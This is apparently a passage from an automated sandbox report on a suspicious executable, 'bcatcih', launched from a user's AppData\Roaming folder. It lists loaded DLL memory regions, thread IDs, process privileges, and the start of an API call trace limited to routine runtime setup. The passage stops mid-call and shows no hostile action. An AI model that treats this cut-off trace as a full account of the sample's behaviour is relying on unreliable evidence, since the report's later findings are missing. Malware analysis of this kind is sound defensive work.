monitored = 0 entry_point = 0x7ffd4c965e10 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 6758 start_va = 0x7ffd4c980000 end_va = 0x7ffd4c9a8fff monitored = 0 entry_point = 0x7ffd4c994530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 6759 start_va = 0x7ffd4c9b0000 end_va = 0x7ffd4ca48fff monitored = 0 entry_point = 0x7ffd4c9df4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 6760 start_va = 0x7ffd4caf0000 end_va = 0x7ffd4cb03fff monitored = 0 entry_point = 0x7ffd4caf52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 6761 start_va = 0x7ffd4cb10000 end_va = 0x7ffd4cb5afff monitored = 0 entry_point = 0x7ffd4cb135f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 6762 start_va = 0x7ffd4cb60000 end_va = 0x7ffd4cb6ffff monitored = 0 entry_point = 0x7ffd4cb656e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 6763 start_va = 0x7ffd4cb70000 end_va = 0x7ffd4cb7efff monitored = 0 entry_point = 0x7ffd4cb73210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 6764 start_va = 0x7ffd4cb80000 end_va = 0x7ffd4cbc2fff monitored = 0 entry_point = 0x7ffd4cb94b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 6765 start_va = 0x7ffd4cc80000 end_va = 0x7ffd4ccd4fff monitored = 0 entry_point = 0x7ffd4cc97970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 6766 start_va = 0x7ffd4cce0000 end_va = 0x7ffd4d323fff monitored = 0 entry_point = 0x7ffd4cea64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 6767 start_va = 0x7ffd4d330000 end_va = 0x7ffd4d346fff monitored = 0 entry_point = 0x7ffd4d331390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 6768 start_va = 0x7ffd4d350000 end_va = 0x7ffd4d516fff monitored = 0 entry_point = 0x7ffd4d3adb80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 6769 start_va = 0x7ffd4d520000 end_va = 0x7ffd4d5a5fff monitored = 0 entry_point = 0x7ffd4d52d8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 6770 start_va = 0x7ffd4d5b0000 end_va = 0x7ffd4d664fff monitored = 0 entry_point = 0x7ffd4d5f22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 6771 start_va = 0x7ffd4d670000 end_va = 0x7ffd4d857fff monitored = 0 entry_point = 0x7ffd4d69ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 6772 start_va = 0x7ffd4d860000 end_va = 0x7ffd4d8c9fff monitored = 0 entry_point = 0x7ffd4d896d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 6773 start_va = 0x7ffd4d8d0000 end_va = 0x7ffd4da55fff monitored = 0 entry_point = 0x7ffd4d91ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 6774 start_va = 0x7ffd4da60000 end_va = 0x7ffd4db7bfff monitored = 0 entry_point = 0x7ffd4daa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 6775 start_va = 0x7ffd4db80000 end_va = 0x7ffd4dc40fff monitored = 0 entry_point = 0x7ffd4dba0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 6776 start_va = 0x7ffd4dc70000 end_va = 0x7ffd4deecfff monitored = 0 entry_point = 0x7ffd4dd44970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 6777 start_va = 0x7ffd4def0000 end_va = 0x7ffd4def7fff monitored = 0 entry_point = 0x7ffd4def1ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 6778 start_va = 0x7ffd4df00000 end_va = 0x7ffd4df9cfff monitored = 0 entry_point = 0x7ffd4df078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 6779 start_va = 0x7ffd4e160000 end_va = 0x7ffd4e1bafff monitored = 0 entry_point = 0x7ffd4e1738b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 6780 start_va = 0x7ffd4e1c0000 end_va = 0x7ffd4e26cfff monitored = 0 entry_point = 0x7ffd4e1d81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 6781 start_va = 0x7ffd4e270000 end_va = 0x7ffd4e2dafff monitored = 0 entry_point = 0x7ffd4e2890c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 6782 start_va = 0x7ffd4e480000 end_va = 0x7ffd4e526fff monitored = 0 entry_point = 0x7ffd4e4958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 6783 start_va = 0x7ffd4e530000 end_va = 0x7ffd4e958fff monitored = 0 entry_point = 0x7ffd4e558740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 6784 start_va = 0x7ffd4e970000 end_va = 0x7ffd4e9cbfff monitored = 0 entry_point = 0x7ffd4e98b720 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 6785 start_va = 0x7ffd4e9d0000 end_va = 0x7ffd4eb25fff monitored = 0 entry_point = 0x7ffd4e9da8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 6786 start_va = 0x7ffd4eb30000 end_va = 0x7ffd5008efff monitored = 0 entry_point = 0x7ffd4ec911f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 6787 start_va = 0x7ffd500f0000 end_va = 0x7ffd50141fff monitored = 0 entry_point = 0x7ffd500ff530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 6788 start_va = 0x7ffd50150000 end_va = 0x7ffd501f6fff monitored = 0 entry_point = 0x7ffd5015b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 6789 start_va = 0x7ffd50380000 end_va = 0x7ffd504c2fff monitored = 0 entry_point = 0x7ffd503a8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 6790 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6807 start_va = 0x10a0000 end_va = 0x10c0fff monitored = 0 entry_point = 0x10a2300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 6808 start_va = 0x1940000 end_va = 0x198efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001940000" filename = "" Region: id = 6809 start_va = 0x10a0000 end_va = 0x10c0fff monitored = 0 entry_point = 0x10a2300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 6810 start_va = 0x10a0000 end_va = 0x10c0fff monitored = 0 entry_point = 0x10a2300 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 6811 start_va = 0x420000 end_va = 0x421fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 10057 start_va = 0x7100000 end_va = 0x71fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007100000" filename = "" Region: id = 10207 start_va = 0x7200000 end_va = 0x72fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007200000" filename = "" Region: id = 10208 start_va = 0x7600000 end_va = 0x76fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007600000" filename = "" Region: id = 10449 start_va = 0x7700000 end_va = 0x77fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007700000" filename = "" Region: id = 11987 start_va = 0x7910000 end_va = 0x7a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007910000" filename = "" Region: id = 17823 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Thread: id = 56 os_tid = 0x1060 Thread: id = 57 os_tid = 0xb84 Thread: id = 58 os_tid = 0xa74 Thread: id = 59 os_tid = 0xe4c Thread: id = 60 os_tid = 0xebc Thread: id = 61 os_tid = 0xee0 Thread: id = 62 os_tid = 0x910 Thread: id = 63 os_tid = 0x878 Thread: id = 64 os_tid = 0x90c Thread: id = 65 os_tid = 0xcd4 Thread: id = 66 os_tid = 0x39c Thread: id = 67 os_tid = 0x488 Thread: id = 68 os_tid = 0xe08 Thread: id = 69 os_tid = 0xe00 Thread: id = 70 os_tid = 0xdb4 Thread: id = 71 os_tid = 0x82c Thread: id = 72 os_tid = 0x60c Thread: id = 73 os_tid = 0xcec Thread: id = 74 os_tid = 0xcc4 Thread: id = 75 os_tid = 0xcb8 Thread: id = 76 os_tid = 0xc74 Thread: id = 77 os_tid = 0x514 Thread: id = 78 os_tid = 0x994 Thread: id = 79 os_tid = 0x534 Thread: id = 80 os_tid = 0x2f8 Thread: id = 81 os_tid = 0xffc Thread: id = 82 os_tid = 0xfc4 Thread: id = 83 os_tid = 0xf90 Thread: id = 84 os_tid = 0xf8c Thread: id = 85 os_tid = 0xf84 Thread: id = 86 os_tid = 0xf78 Thread: id = 87 os_tid = 0xf60 Thread: id = 88 os_tid = 0xf58 Thread: id = 89 os_tid = 0xf38 Thread: id = 90 os_tid = 0xf20 Thread: id = 91 os_tid = 0xefc Thread: id = 92 os_tid = 0xed4 Thread: id = 93 os_tid = 0xe24 Thread: id = 94 os_tid = 0xc28 Thread: id = 95 os_tid = 0xa04 Thread: id = 96 os_tid = 0xa84 Thread: id = 97 os_tid = 0xa80 Thread: id = 98 os_tid = 0xa7c Thread: id = 99 os_tid = 0x9c8 Thread: id = 100 os_tid = 0x9b8 Thread: id = 101 os_tid = 0x94c Thread: id = 102 os_tid = 0x8e4 Thread: id = 103 os_tid = 0x8e0 Thread: id = 104 os_tid = 0x8d8 Thread: id = 105 os_tid = 0x8c0 Thread: id = 106 os_tid = 0x8a8 Thread: id = 107 os_tid = 0x8a0 Thread: id = 108 os_tid = 0x870 Thread: id = 109 os_tid = 0x868 Thread: id = 110 os_tid = 0x830 Thread: id = 111 os_tid = 0x560 Thread: id = 112 os_tid = 0x598 Thread: id = 113 os_tid = 0x190 Thread: id = 114 os_tid = 0x7cc Thread: id = 115 os_tid = 0x6e0 Thread: id = 116 os_tid = 0x448 Thread: id = 117 os_tid = 0x5b4 Thread: id = 118 os_tid = 0x50c Thread: id = 119 os_tid = 0x4d4 Thread: id = 120 os_tid = 0x484 Thread: id = 121 os_tid = 0x464 Thread: id = 122 os_tid = 0x414 Thread: id = 123 os_tid = 0x2f4 Thread: id = 124 os_tid = 0x284 Thread: id = 125 os_tid = 0x264 Thread: id = 126 os_tid = 0x210 Thread: id = 127 os_tid = 0x144 Thread: id = 128 os_tid = 0x140 Thread: id = 129 os_tid = 0x120 Thread: id = 130 os_tid = 0x11c Thread: id = 131 os_tid = 0x60 Thread: id = 132 os_tid = 0x3fc Thread: id = 133 os_tid = 0x3f4 Thread: id = 134 os_tid = 0x360 Thread: id = 151 os_tid = 0x1374 Thread: id = 152 os_tid = 0x1388 Thread: id = 153 os_tid = 0x138c Thread: id = 155 os_tid = 0x13a8 Thread: id = 157 os_tid = 0x7ec Process: id = "5" image_name = "bcatcih" filename = "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih" page_root = "0x3cd77000" os_pid = "0x6b0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x35c" cmd_line = "C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f4cd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7047 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7048 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 7049 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 7050 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 7051 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 7052 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 7053 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 7054 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 7055 start_va = 0x400000 end_va = 0x2b7dfff monitored = 1 entry_point = 0x401eaf region_type = mapped_file name = "bcatcih" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih") Region: id = 7056 start_va = 0x77b90000 end_va = 0x77d0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 7057 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 7058 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7059 start_va = 0x7fff0000 end_va = 0x7ffd504cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 7060 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7061 start_va = 0x7ffd50691000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffd50691000" filename = "" Region: id = 7062 start_va = 0x2c10000 end_va = 0x2c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c10000" filename = "" Region: id = 7063 start_va = 0x6edd0000 end_va = 0x6ee1ffff monitored = 0 entry_point = 0x6ede8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 7064 start_va = 0x6ee20000 end_va = 0x6ee99fff monitored = 0 entry_point = 0x6ee33290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 7065 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 7066 start_va = 0x6eea0000 end_va = 0x6eea7fff monitored = 0 entry_point = 0x6eea17c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 7153 start_va = 0x2c20000 end_va = 0x2dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c20000" filename = "" Region: id = 7154 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 7155 start_va = 0x76ad0000 end_va = 0x76c4dfff monitored = 0 entry_point = 0x76b81b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 7156 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7157 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 7158 start_va = 0x2dd0000 end_va = 0x2e8dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7245 start_va = 0x74810000 end_va = 0x748a1fff monitored = 0 entry_point = 0x74850380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 7246 start_va = 0x7fb00000 end_va = 0x7fea0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 7247 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 7248 start_va = 0x750d0000 end_va = 0x75216fff monitored = 0 entry_point = 0x750e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 7249 start_va = 0x77440000 end_va = 0x7758efff monitored = 0 entry_point = 0x774f6820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 7250 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 7251 start_va = 0x2e90000 end_va = 0x2f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e90000" filename = "" Region: id = 7252 start_va = 0x2b80000 end_va = 0x2ba9fff monitored = 0 entry_point = 0x2b85680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 7253 start_va = 0x2f90000 end_va = 0x3117fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002f90000" filename = "" Region: id = 7352 start_va = 0x75660000 end_va = 0x7568afff monitored = 0 entry_point = 0x75665680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 7516 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 7517 start_va = 0x2b80000 end_va = 0x2b80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b80000" filename = "" Region: id = 7518 start_va = 0x3120000 end_va = 0x32a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003120000" filename = "" Region: id = 7519 start_va = 0x32b0000 end_va = 0x46affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000032b0000" filename = "" Region: id = 7520 start_va = 0x2c20000 end_va = 0x2ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c20000" filename = "" Region: id = 7521 start_va = 0x2cd0000 end_va = 0x2dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002cd0000" filename = "" Thread: id = 135 os_tid = 0x1088 [0184.632] GetStartupInfoW (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0184.632] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2cc0000 [0184.633] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0184.633] GetProcAddress (hModule=0x74f30000, lpProcName="FlsAlloc") returned 0x74f4a980 [0184.634] GetProcAddress (hModule=0x74f30000, lpProcName="FlsGetValue") returned 0x74f47570 [0184.634] GetProcAddress (hModule=0x74f30000, lpProcName="FlsSetValue") returned 0x74f49e30 [0184.634] GetProcAddress (hModule=0x74f30000, lpProcName="FlsFree") returned 0x74f54ff0 [0184.634] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0184.634] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0184.635] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0184.635] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0184.635] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0184.635] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0184.635] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0184.635] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0184.635] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0184.635] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0184.635] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0184.636] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0184.636] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0184.636] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0184.636] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0184.636] GetProcAddress (hModule=0x74f30000, lpProcName="DecodePointer") returned 0x77bed830 [0184.637] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x214) returned 0x2cc05a8 [0184.637] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0184.637] GetProcAddress (hModule=0x74f30000, lpProcName="DecodePointer") returned 0x77bed830 [0184.637] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0184.637] GetProcAddress (hModule=0x74f30000, lpProcName="EncodePointer") returned 0x77bef730 [0184.637] GetProcAddress (hModule=0x74f30000, lpProcName="DecodePointer") returned 0x77bed830 [0184.637] GetCurrentThreadId () returned 0x1088 [0184.637] GetStartupInfoA (in: lpStartupInfo=0x19fe9c | out: lpStartupInfo=0x19fe9c*(cb=0x44, lpReserved="", lpDesktop="winsta0\\default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0184.638] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x800) returned 0x2cc07c8 [0184.638] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0184.638] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0184.638] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0184.638] SetHandleCount (uNumber=0x20) returned 0x20 [0184.638] GetCommandLineW () returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" [0184.638] GetEnvironmentStringsW () returned 0x2ce0ce0* [0184.638] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x0, Size=0xa16) returned 0x2cc0fd0 [0184.638] FreeEnvironmentStringsW (penv=0x2ce0ce0) returned 1 [0184.638] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x43aa08, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih")) returned 0x2d [0184.638] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x0, Size=0x64) returned 0x2cc19f0 [0184.638] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x90) returned 0x2cc1a60 [0184.638] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x3e) returned 0x2cc1af8 [0184.638] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x5c) returned 0x2cc1b40 [0184.638] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x6e) returned 0x2cc1ba8 [0184.638] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x78) returned 0x2cc1c20 [0184.638] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x62) returned 0x2cc1ca0 [0184.638] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x28) returned 0x2cc1d10 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x48) returned 0x2cc1d40 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x1a) returned 0x2cc1d90 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, Size=0x3a) returned 0x2cc1db8 [0184.639] RtlAllocateHeap (HeapHandle=0x2cc0000, Flags=0x8, 